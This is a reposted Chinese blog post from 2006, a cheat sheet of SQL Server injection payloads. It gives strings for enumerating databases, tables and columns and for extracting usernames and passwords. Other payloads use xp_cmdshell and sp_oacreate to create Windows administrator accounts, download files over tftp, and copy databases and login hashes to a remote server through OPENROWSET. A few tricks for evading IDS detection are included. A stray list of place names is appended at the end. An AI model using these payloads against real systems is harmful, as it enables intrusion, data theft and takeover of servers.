love fish大鵬一曰同風起,扶搖直上九萬里

          常用鏈接

          統計

          積分與排名

          friends

          link

          最新評論

          Sql注射總結(轉)

          sql注射總結(早源于or1=1)
          最重要的表名:
          select * from sysobjects
          sysobjects ncsysobjects
          sysindexes tsysindexes
          syscolumns
          systypes
          sysusers
          sysdatabases
          sysxlogins
          sysprocesses
          最重要的一些用戶名(默認sql數據庫中存在著的)
          public
          dbo
          guest(一般禁止,或者沒權限)
          db_sercurityadmin
          ab_dlladmin
          一些默認擴展
          xp_regaddmultistring
          xp_regdeletekey
          xp_regdeletevalue
          xp_regenumkeys
          xp_regenumvalues
          xp_regread
          xp_regremovemultistring
          xp_regwrite
          xp_availablemedia 驅動器相關
          xp_dirtree 目錄
          xp_enumdsn odbc連接
          xp_loginconfig 服務器安全模式信息
          xp_makecab 創建壓縮卷
          xp_ntsec_enumdomains domain信息
          xp_terminate_process 終端進程,給出一個pid
          例如:
          sp_addextendedproc xp_webserver, c:tempxp_foo.dll
          exec xp_webserver
          sp_dropextendedproc xp_webserver
          bcp select * from test..foo queryout c:inetpubwwwrootruncommand.asp -c -slocalhost -usa -pfoobar
          group by users.id having 1=1-
          group by users.id, users.username, users.password, users.privs having 1=1-
          ; insert into users values( 666, attacker, foobar, 0xffff )-
          union select top 1 column_name from information_schema.columns where table_name=logintable-
          union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id)-
          union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id,login_name)-
          union select top 1 login_name from logintable-
          union select top 1 password from logintable where login_name=rahul--
          構造語句:查詢是否存在xp_cmdshell
          union select @@version,1,1,1--
          and 1=(select @@version)
          and sa=(select system_user)
          union select ret,1,1,1 from foo--
          union select min(username),1,1,1 from users where username > a-
          union select min(username),1,1,1 from users where username > admin-
          union select password,1,1,1 from users where username = admin--
          and user_name()=dbo
          and 0<>(select user_name()-
          ; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c:winntsystem32cmd.exe /c net user swap 5245886 /add
          and 1=(select count(*) from master.dbo.sysobjects where xtype = x and name = xp_cmdshell)
          ;exec master.dbo.sp_addextendedproc xp_cmdshell, xplog70.dll
          1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype=x%20and%20name=xp_cmdshell)
          and 1=(select is_srvrolemember(sysadmin)) 判斷sa權限是否
          and 0<>(select top 1 paths from newtable)-- 暴庫大法
          and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到庫名(從1到5都是系統的id,6以上才可以判斷)
          創建一個虛擬目錄e盤:
          declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe c:inetpubwwwrootmkwebdir.vbs -w 默認 web 站點 -v e,e:
          訪問屬性:(配合寫入一個webshell)
          declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/root/e browse
          and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
          依次提交 dbid = 7,8,9.... 得到更多的數據庫名
          and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u) 暴到一個表 假設為 admin
          and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in (admin)) 來得到其他的表。
          and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin
          and uid>(str(id))) 暴到uid的數值假設為18779569 uid=id
          and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個字段,假設為 user_id
          and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
          (id,...)) 來暴出其他的字段
          and 0<(select user_id from bbs.dbo.admin where username>1) 可以得到用戶名
          依次可以得到密碼。。。。。假設存在user_id username ,password 等字段
          show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
          show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
          (union語句到處風靡啊,access也好用
          暴庫特殊技巧::%5c= 或者把/和 修改%5提交
          and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
          and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u) 得到表名
          and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in(address))
          and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin and uid>(str(id))) 判斷id值
          and 0<>(select top 1 name from bbs.dbo.syscolumns where id=773577794) 所有字段
          ;create table [dbo].[swap] ([swappass][char](255));--
          and (select top 1 swappass from swap)=1
          ;create table newtable(id int identity(1,1),paths varchar(500)) declare @test varchar(20) exec master..xp_regread @rootkey=hkey_local_machine, @key=systemcurrentcontrolsetservicesw3svcparametersvirtual roots, @value_name=/, values=@test output insert into paths(path) values(@test)
          政策法規&infoid={57c4165a-4206-4c0d-a8d2-e70666ee4e08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20wscript.shell,@s%20out;exec%20sp_oamethod%20@s,run,null,cmd.exe%20/c%20ping%201.1.1.1;--
          得到了web路徑d:xxxx,接下來:
          ;use ku1;--
          ;create table cmd (str image);--
          傳統的存在xp_cmdshell的測試過程:
          ;exec master..xp_cmdshell dir
          ;exec master.dbo.sp_addlogin hax;--
          ;exec master.dbo.sp_password null,hax,hax;--
          ;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
          ;exec master.dbo.xp_cmdshell net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
          ;exec master.dbo.xp_cmdshell net localgroup administrators hax /add;--
          exec master..xp_servicecontrol start, schedule
          exec master..xp_servicecontrol start, server
          http://www.xxx.com/list.asp?classid=1; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c:winntsystem32cmd.exe /c net user swap 5258 /add
          ;declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c:winntsystem32cmd.exe /c net localgroup administrators swap/add
          ; exec master..xp_cmdshell tftp -i youip get file.exe-
          declare @a sysname set @a=xp_ cmdshell exec @a dir c:
          declare @a sysname set @a=xp _cm dshell exec @a dir c:
          ;declare @a;set @a=db_name();backup database @a to disk=你的ip你的共享目錄bak.dat
          如果被限制則可以。
          select * from openrowset(sqloledb,server;sa;,select ok! exec master.dbo.sp_addlogin hax)
          傳統查詢構造:
          select * from news where id=... and topic=... and .....
          adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
          select 123;--
          ;use master;--
          :a or name like fff%;-- 顯示有一個叫ffff的用戶哈。
          and 1<>(select count(email) from [user]);--
          ;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
          說明:
          上面的語句是得到數據庫中的第一個用戶表,并把表名放在ffff用戶的郵箱字段中。
          通過查看ffff的用戶資料可得第一個用表叫ad
          然后根據表名ad得到這個表的id
          ffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
          象下面這樣就可以得到第二個表的名字了
          ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
          ffff;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
          ffff;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
          ffff;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
          exec master..xp_servicecontrol start, schedule
          exec master..xp_servicecontrol start, server
          sp_addextendedproc xp_webserver, c:tempxp_foo.dll
          擴展存儲就可以通過一般的方法調用:
          exec xp_webserver
          一旦這個擴展存儲執行過,可以這樣刪除它:
          sp_dropextendedproc xp_webserver
          insert into users values( 666, char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), 0xffff)-
          insert into users values( 667,123,123,0xffff)-
          insert into users values ( 123, admin--, password, 0xffff)-
          ;and user>0
          ;;and (select count(*) from sysobjects)>0
          ;;and (select count(*) from mysysobjects)>0 //為access數據庫
          -----------------------------------------------------------通常注射的一些介紹:
          a) id=49 這類注入的參數是數字型,sql語句原貌大致如下:
          select * from 表名 where 字段=49
          注入的參數為id=49 and [查詢條件],即是生成語句:
          select * from 表名 where 字段=49 and [查詢條件]
          (b) class=連續劇 這類注入的參數是字符型,sql語句原貌大致概如下:
          select * from 表名 where 字段=連續劇
          注入的參數為class=連續劇 and [查詢條件] and = ,即是生成語句:
          select * from 表名 where 字段=連續劇 and [查詢條件] and =
          (c) 搜索時沒過濾參數的,如keyword=關鍵字,sql語句原貌大致如下:
          select * from 表名 where 字段like %關鍵字%
          注入的參數為keyword= and [查詢條件] and %25=, 即是生成語句:
          select * from 表名 where字段like % and [查詢條件] and %=%
          ;;and (select top 1 name from sysobjects where xtype=u and status>0)>0
          sysobjects是sqlserver的系統表,存儲著所有的表名、視圖、約束及其它對象,xtype=u and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。
          ;;and (select top 1 col_name(object_id(表名),1) from sysobjects)>0
          從⑤拿到表名后,用object_id(表名)獲取表名對應的內部id,col_name(表名id,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。
          post.htm內容:主要是方便輸入。
          〈iframe name=p src=# width=800 height=350 frameborder=0>

          〈input name=id value=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- style=width:750>
          〈input type=submit value=>>>>
          〈input type=hidden name=fno value=2, 3>

          枚舉出他的數據表名:
          id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
          這是將第一個表名更新到aaa的字段處。
          讀出第一個表,第二個表可以這樣讀出來(在條件后加上 and name<>剛才得到的表名)。
          id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
          然后id=1552 and exists(select * from aaa where aaa>5)
          讀出第二個表,^^^^^^一個個的讀出,直到沒有為止。
          讀字段是這樣:
          id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
          然后id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名
          id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
          然后id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名
          --------------------------------高級技巧:
          [獲得數據表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]
          update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一個加一個]) [ where 條件]
          select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,...)
          通過sqlserver注入漏洞建數據庫管理員帳號和系統管理員帳號[當前帳號必須是sysadmin組]
          [獲得數據表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名]
          update 表名 set 字段=(select top 1 col_name(object_id(要查詢的數據表名),字段列如:1) [ where 條件]
          繞過ids的檢測[使用變量]
          declare @a sysname set @a=xp_ cmdshell exec @a dir c:
          declare @a sysname set @a=xp _cm dshell exec @a dir c:
          1、 開啟遠程數據庫
          基本語法
          select * from openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1 )
          參數: (1) oledb provider name
          2、 其中連接字符串參數可以是任何和端口用來連接,比如
          select * from openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table
          要復制目標主機的整個數據庫,首先要在目標主機上和自己機器上的數據庫建立連接(如何在目標主機上建立遠程連接,剛才已經講了),之后insert所有遠程表到本地表。
          基本語法:
          insert into openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1) select * from table2
          這行語句將目標主機上table2表中的所有數據復制到遠程數據庫中的table1表中。實際運用中適當修改連接字符串的ip地址和端口,指向需要的地方,比如:
          insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from table2
          insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysdatabases)
          select * from master.dbo.sysdatabases
          insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysobjects)
          select * from user_database.dbo.sysobjects
          insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _syscolumns)
          select * from user_database.dbo.syscolumns
          之后,便可以從本地數據庫中看到目標主機的庫結構,這已經易如反掌,不多講,復制數據庫:
          insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from database..table1
          insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table2) select * from database..table2
          ......
          3、 復4、 制哈西表(hash)
          這實際上是上述復5、 制數據庫的一個擴展應用。登錄密碼的hash存儲于sysxlogins中。方法如下:
          insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysxlogins) select * from database.dbo.sysxlogins
          得到hash之后,6、 就可以進行暴力破解。這需要一點運氣和大量時間。
          遍歷目錄的方法:
          先創建一個臨時表:temp
          5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
          5;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器
          5;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 獲得子目錄列表
          5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 獲得所有子目錄的目錄樹結構,并寸入temp表中
          5;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看某個文件的內容
          5;insert into temp(id) exec master.dbo.xp_cmdshell dir c:;--
          5;insert into temp(id) exec master.dbo.xp_cmdshell dir c: *.asp /s/a;--
          5;insert into temp(id) exec master.dbo.xp_cmdshell cscript c:inetpubadminscriptsadsutil.vbs enum w3svc
          5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- (xp_dirtree適用權限public)
          寫入表:
          語句1: and 1=(select is_srvrolemember(sysadmin));--
          語句2: and 1=(select is_srvrolemember(serveradmin));--
          語句3: and 1=(select is_srvrolemember(setupadmin));--
          語句4: and 1=(select is_srvrolemember(securityadmin));--
          語句5: and 1=(select is_srvrolemember(securityadmin));--
          語句6: and 1=(select is_srvrolemember(diskadmin));--
          語句7: and 1=(select is_srvrolemember(bulkadmin));--
          語句8: and 1=(select is_srvrolemember(bulkadmin));--
          語句9: and 1=(select is_member(db_owner));--
          把路徑寫到表中去:
          ;create table dirs(paths varchar(100), id int)-
          ;insert  dirs exec master.dbo.xp_dirtree c:-
           and 0<>(select top 1 paths from dirs)-
           and 0<>(select top 1 paths from dirs where paths not in(@inetpub))-
          語句:;create table dirs1(paths varchar(100), id int)--
          語句:;insert dirs exec master.dbo.xp_dirtree e:web--
          語句: and 0<>(select top 1 paths from dirs1)-
          把數據庫備份到網頁目錄:下載
          ;declare @a sysname; set @a=db_name();backup database @a to disk=e:webdown.bak;--
          and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20t%20order%20by%20id%20desc)
          and%201=(select%20top%201%20col_name(object_id(user_login),1)%20from%20sysobjects) 參看相關表。
          and 1=(select%20user_id%20from%20user_login)
          and%200=(select%20user%20from%20user_login%20where%20user>1)

          posted on 2006-09-30 09:06 liaojiyong 閱讀(354) 評論(0)  編輯  收藏 所屬分類: MSSQL

          主站蜘蛛池模板: 托克逊县| 苏尼特左旗| 呼伦贝尔市| 江城| 临猗县| 兴隆县| 华容县| 英吉沙县| 安阳县| 昆明市| 报价| 三亚市| 德令哈市| 新绛县| 紫云| 建昌县| 延吉市| 萍乡市| 新乡市| 海阳市| 内黄县| 绥棱县| 玉屏| 揭阳市| 沂水县| 新巴尔虎左旗| 新干县| 图木舒克市| 温泉县| 枞阳县| 镇雄县| 安义县| 石渠县| 阳泉市| 聊城市| 万山特区| 萝北县| 奉新县| 新泰市| 龙陵县| 绿春县|